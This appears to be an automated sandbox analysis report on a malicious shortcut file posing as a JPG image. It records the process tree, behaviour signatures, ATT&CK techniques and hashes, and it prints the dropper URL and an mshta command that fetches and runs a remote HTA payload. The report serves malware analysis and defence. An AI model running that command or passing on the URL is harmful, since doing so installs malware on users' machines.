Analysis

  • max time kernel
    4294901s
  • max time network
    851s
  • platform
    windows7_x64
  • resource
    win7-20220311-en
  • submitted
    22-03-2022 12:37

General

  • Target

    samples/IMG_20210603_122317.jpg.lnk

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

https://inapharma.in/css/files/photos/Sunakshi/IMG_20210603_122317

Signatures

  • Blocklisted process makes network request 8 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
  • Modifies system certificate store 2 TTPs 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\samples\IMG_20210603_122317.jpg.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1784
    • C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" https://inapharma.in/css/files/photos/Sunakshi/IMG_20210603_122317
      2⤵
      • Blocklisted process makes network request
      • Modifies Internet Explorer settings
      • Modifies system certificate store
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:920
      • C:\Windows\System32\mshta.exe
        "C:\Windows\System32\mshta.exe" C:\ProgramData\Duolingo\windate.hta
        3⤵
        • Modifies Internet Explorer settings
        PID:804

Network

MITRE ATT&CK Matrix ATT&CK v6

Defense Evasion

Modify Registry

2
T1112

Install Root Certificate

1
T1130

Discovery

System Information Discovery

1
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\ProgramData\Duolingo\windate.hta
    Filesize

    652B

    MD5

    df0ae835a1dc249c25f56c96a19c63c7

    SHA1

    388bb0c49057b08a6fc5e7d4fcaab18754650c59

    SHA256

    7838794872d83079d1a912e0201a76aff8b42404dde2117a5c57a3bb3310d1df

    SHA512

    d4f538231d4c67407778dbfa6d825c53e59ce70e11a9d8add0e47ee248c0d8b5053285f197e9259af24898e15178a600f5bf852ef3a98258c61c9c67a9898aa8

  • memory/920-91-0x00000000030B0000-0x00000000030B8000-memory.dmp
    Filesize

    32KB

  • memory/920-93-0x000000001D4C7000-0x000000001D4C8000-memory.dmp
    Filesize

    4KB

  • memory/920-92-0x000007FEF3700000-0x000007FEF40EC000-memory.dmp
    Filesize

    9.9MB

  • memory/1784-54-0x000007FEFBCB1000-0x000007FEFBCB3000-memory.dmp
    Filesize

    8KB